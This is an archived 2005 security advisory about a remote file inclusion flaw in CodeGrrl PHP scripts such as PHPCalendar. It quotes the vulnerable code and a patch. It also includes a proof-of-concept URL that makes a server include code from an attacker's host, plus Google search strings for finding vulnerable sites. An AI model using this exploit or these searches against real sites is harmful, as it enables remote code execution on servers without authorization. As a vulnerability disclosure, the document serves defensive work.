Twenty Year Anniversary

PHPCalendar.txt

PHPCalendar.txt
Posted Nov 15, 2005
Authored by Robin Verton

A remote code execution vulnerability has been discovered in various CodeGrrl products including PHPCalendar, PHPClique, PHPFanBase, PHPCurrently, and PHPQuotes.

tags | exploit, remote, code execution
MD5 | cd96338a3b96453f9b3b5d5e28f63ef5

PHPCalendar.txt

Change Mirror Download
PHPCalendar (and some more codegrrl.com products) arbitrary code execution
==========================================================================


Software: PHPCalendar, PHPClique, PHPFanBase, PHPCurrently, PHPQuotes
Severity: Arbitrary code execution
Risk: High
Author: Robin Verton <r.verton@gmail.com>
Date: Sep. 24 2005
Vendor: codegrrl.com [contacted]


Description:

Written in PHP/MySQL, PHPCalendar is a script designed especially to help webmasters to mantain a calendar, with all upcoming events and birthdays.
It was designed to be used at personal sites, but it can also be very useful for fansites, to keep track of tours, premiers, awards shows,
tv apearances, interviews, magazines features, and many more! You can see it in use at unfloopy.net.
[http://www.codegrrl.com/]


Details:

1) protection.php (with register_globals = On)
If register_globals is on an attacker can include an arbitrary php file to execute malicious code.



$logout_page = "$siteurl";

[...]

if ($action == "logout")
{
Setcookie("logincookie[pwd]","",time() -86400);
Setcookie("logincookie[user]","",time() - 86400);
@include($logout_page);
exit;
}

Proof of Concept:

To exploit this vulnerability an attacker only has to use the following HTTP-Request:
http://www.example.com/protection.php?action=logout&siteurl=http://yourhost.com/malicoius-code.txt

Patch:
Set register_globals in the php.ini off or disallow direct access to the protection.php f.e. define constants and use
code like

if( !defined('IN_SYS') ) {
die('Hacking attempt');
}

to prevent the direct access

Credits:

Credit goes to Robin Verton, 15 years old from Germany

References:

[1] http://codegrrl.com
[2] http://www.google.com/search?q=%22Powered+by%3A+PHPFanBase%22 [about 112,000 results]
[3] http://www.google.com/search?q=%22Powered+by%3A+PHPCalendar%22 [about 44,000 results]
[4] http://www.google.com/search?q=%22Powered+by%3A+PHPCurrently%22 [about 44,000 results]
[5] http://www.google.com/search?q=%22Powered+by%3A+PHPClique%22
[6] http://www.google.com/search?q=%22Powered+by%3A+PHPQuotes%22






Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

December 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    11 Files
  • 2
    Dec 2nd
    1 Files
  • 3
    Dec 3rd
    18 Files
  • 4
    Dec 4th
    40 Files
  • 5
    Dec 5th
    16 Files
  • 6
    Dec 6th
    50 Files
  • 7
    Dec 7th
    12 Files
  • 8
    Dec 8th
    1 Files
  • 9
    Dec 9th
    1 Files
  • 10
    Dec 10th
    15 Files
  • 11
    Dec 11th
    30 Files
  • 12
    Dec 12th
    25 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close